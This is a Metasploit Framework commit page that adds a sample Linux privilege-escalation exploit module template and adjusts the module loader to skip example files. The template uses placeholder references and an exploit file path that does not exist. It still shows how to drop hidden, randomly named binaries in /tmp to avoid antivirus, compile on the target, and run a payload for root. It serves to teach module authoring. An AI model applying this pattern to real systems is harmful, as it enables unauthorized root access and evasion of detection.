Skip to content

Commit 9cc02cb

Browse files
committed
Land rapid7#12643, add additional example exploit modules
2 parents e1e668d + bf99dd8 commit 9cc02cb

File tree

4 files changed

+378
-4
lines changed

4 files changed

+378
-4
lines changed

lib/msf/core/modules/loader/directory.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def each_module_reference_name(path, opts={})
4242
entry_descendant_pathname = Pathname.new(entry_descendant_path)
4343
relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname)
4444
relative_entry_descendant_path = relative_entry_descendant_pathname.to_s
45-
next if File::basename(relative_entry_descendant_path) == "example.rb"
45+
next if File::basename(relative_entry_descendant_path).start_with?('example')
4646
# The module_reference_name doesn't have a file extension
4747
module_reference_name = module_reference_name_from_path(relative_entry_descendant_path)
4848

modules/exploits/example.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ def initialize(info = {})
2424
update_info(
2525
info,
2626
# The Name should be just like the line of a Git commit - software name,
27-
# vuln type, class. It needs to fit in 50 chars ideally. Preferably apply
27+
# vuln type, class. Preferably apply
2828
# some search optimization so people can actually find the module.
2929
# We encourage consistency between module name and file name.
3030
'Name' => 'Sample Exploit',
@@ -58,8 +58,8 @@ def initialize(info = {})
5858
]
5959
],
6060
'DisclosureDate' => "Apr 1 2013",
61-
# Note that this is by index, rather than name. It's generally easiest
62-
# just to put the default at the beginning of the list and skip this
61+
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
62+
# It's generally easiest just to put the default at the beginning of the list and skip this
6363
# entirely.
6464
'DefaultTarget' => 0
6565
)
Lines changed: 214 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,214 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
###
7+
#
8+
# This exploit sample shows how an exploit module could be written to exploit
9+
# a bug in a command on a linux computer for priv esc.
10+
#
11+
###
12+
class MetasploitModule < Msf::Exploit::Remote
13+
Rank = NormalRanking
14+
15+
include Msf::Post::Linux::Priv
16+
include Msf::Post::Linux::System
17+
include Msf::Post::Linux::Kernel
18+
include Msf::Post::File
19+
include Msf::Exploit::EXE
20+
include Msf::Exploit::FileDropper
21+
22+
def initialize(info = {})
23+
super(
24+
update_info(
25+
info,
26+
# The Name should be just like the line of a Git commit - software name,
27+
# vuln type, class. Preferably apply
28+
# some search optimization so people can actually find the module.
29+
# We encourage consistency between module name and file name.
30+
'Name' => 'Sample Linux Priv Esc',
31+
'Description' => %q(
32+
This exploit module illustrates how a vulnerability could be exploited
33+
in an linux command for priv esc.
34+
),
35+
'License' => MSF_LICENSE,
36+
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
37+
# Add reference to additional authors, like those creating original proof of concepts or
38+
# reference materials.
39+
# It is also common to comment in who did what (PoC vs metasploit module, etc)
40+
'Author' =>
41+
[
42+
'h00die <mike@stcyrsecurity.com>', # msf module
43+
'researcher' # original PoC, analysis
44+
],
45+
'Platform' => [ 'linux' ],
46+
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
47+
# may only apply to say ARCH_PPC or something else, where a specific arch is required.
48+
# A full list is available in lib/msf/core/payload/uuid.rb
49+
'Arch' => [ ARCH_X86, ARCH_X64 ],
50+
# What types of sessions we can use this module in conjunction with. Most modules use libraries
51+
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to
52+
# test both to ensure compatibility.
53+
'SessionTypes' => [ 'shell', 'meterpreter' ],
54+
'Targets' => [[ 'Auto', {} ]],
55+
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
56+
# since privilege escalation modules typically result in elevated privileges, this is
57+
# generally set to true
58+
'Privileged' => true,
59+
'References' =>
60+
[
61+
[ 'OSVDB', '12345' ],
62+
[ 'EDB', '12345' ],
63+
[ 'URL', 'http://www.example.com'],
64+
[ 'CVE', '1978-1234']
65+
],
66+
'DisclosureDate' => "Nov 29 2019",
67+
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
68+
# It's generally easiest just to put the default at the beginning of the list and skip this
69+
# entirely.
70+
'DefaultTarget' => 0
71+
)
72+
)
73+
# We typically drop a pre-compiled exploit to disk and run it, however the option
74+
# is left for the user to gcc it themselves if there is an add OS or other dependency
75+
register_options [
76+
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])
77+
]
78+
# force exploit is used to bypass the check command results
79+
register_advanced_options [
80+
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
81+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
82+
]
83+
84+
end
85+
86+
# Simplify pulling the writable directory variable
87+
def base_dir
88+
datastore['WritableDir'].to_s
89+
end
90+
91+
# Simplify and standardize uploading a file
92+
def upload(path, data)
93+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
94+
write_file path, data
95+
end
96+
97+
# Simplify uploading and chmoding a file
98+
def upload_and_chmodx(path, data)
99+
upload path, data
100+
chmod path
101+
register_file_for_cleanup path
102+
end
103+
104+
# Simplify uploading and compiling a file
105+
def upload_and_compile(path, data, gcc_args='')
106+
upload "#{path}.c", data
107+
108+
gcc_cmd = "gcc -o #{path} #{path}.c"
109+
if session.type.eql? 'shell'
110+
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
111+
end
112+
113+
if gcc_args.to_s.blank?
114+
gcc_cmd << " #{gcc_args}"
115+
end
116+
117+
output = cmd_exec gcc_cmd
118+
119+
unless output.blank?
120+
print_error output
121+
fail_with Failure::Unknown, "#{path}.c failed to compile"
122+
end
123+
124+
register_file_for_cleanup path
125+
chmod path
126+
end
127+
128+
# Pull the exploit binary or file (.c typically) from our system
129+
def exploit_data(file)
130+
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'DOES_NOT_EXIST', file)
131+
end
132+
133+
# If we're going to live compile on the system, check gcc is installed
134+
def live_compile?
135+
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
136+
137+
if has_gcc?
138+
vprint_good 'gcc is installed'
139+
return true
140+
end
141+
142+
unless datastore['COMPILE'].eql? 'Auto'
143+
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
144+
end
145+
end
146+
147+
def check
148+
# Check the kernel version to see if its in a vulnerable range
149+
release = kernel_release
150+
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
151+
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
152+
vprint_error "Kernel version #{release} is not vulnerable"
153+
return CheckCode::Safe
154+
end
155+
vprint_good "Kernel version #{release} appears to be vulnerable"
156+
157+
# Check the app is installed and the version, debian based example
158+
package = cmd_exec('dpkg -l example | grep \'^ii\'')
159+
if package && package.include?('1:2015.3.14AR.1-1build1')
160+
print_good("Vulnerable app version #{package} detected")
161+
CheckCode::Appears
162+
end
163+
CheckCode::Safe
164+
end
165+
166+
#
167+
# The exploit method drops a payload file to the system, then either compiles and runs
168+
# or just runs the exploit on the system.
169+
#
170+
def exploit
171+
# First check the system is vulnerable, or the user wants to run regardless
172+
unless check == CheckCode::Appears
173+
unless datastore['ForceExploit']
174+
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
175+
end
176+
print_warning 'Target does not appear to be vulnerable'
177+
end
178+
179+
# Check if we're already root
180+
if is_root?
181+
unless datastore['ForceExploit']
182+
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
183+
end
184+
end
185+
186+
# Make sure we can write our exploit and payload to the remote system
187+
unless writable? base_dir
188+
fail_with Failure::BadConfig, "#{base_dir} is not writable"
189+
end
190+
191+
# Upload exploit executable, writing to a random name so AV doesn't have too easy a job
192+
executable_name = ".#{rand_text_alphanumeric(5..10)}"
193+
executable_path = "#{base_dir}/#{executable_name}"
194+
if live_compile?
195+
vprint_status 'Live compiling exploit on system...'
196+
upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
197+
rm_f "#{executable_path}.c"
198+
else
199+
vprint_status 'Dropping pre-compiled exploit on system...'
200+
upload_and_chmodx executable_path, exploit_data('example')
201+
end
202+
203+
# Upload payload executable
204+
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
205+
upload_and_chmodx payload_path, generate_payload_exe
206+
207+
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
208+
# output from the exploit being run, they can optionally see it
209+
timeout = 30
210+
print_status "Launching exploit..."
211+
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
212+
output.each_line { |line| vprint_status line.chomp }
213+
end
214+
end

0 commit comments

Comments
 (0)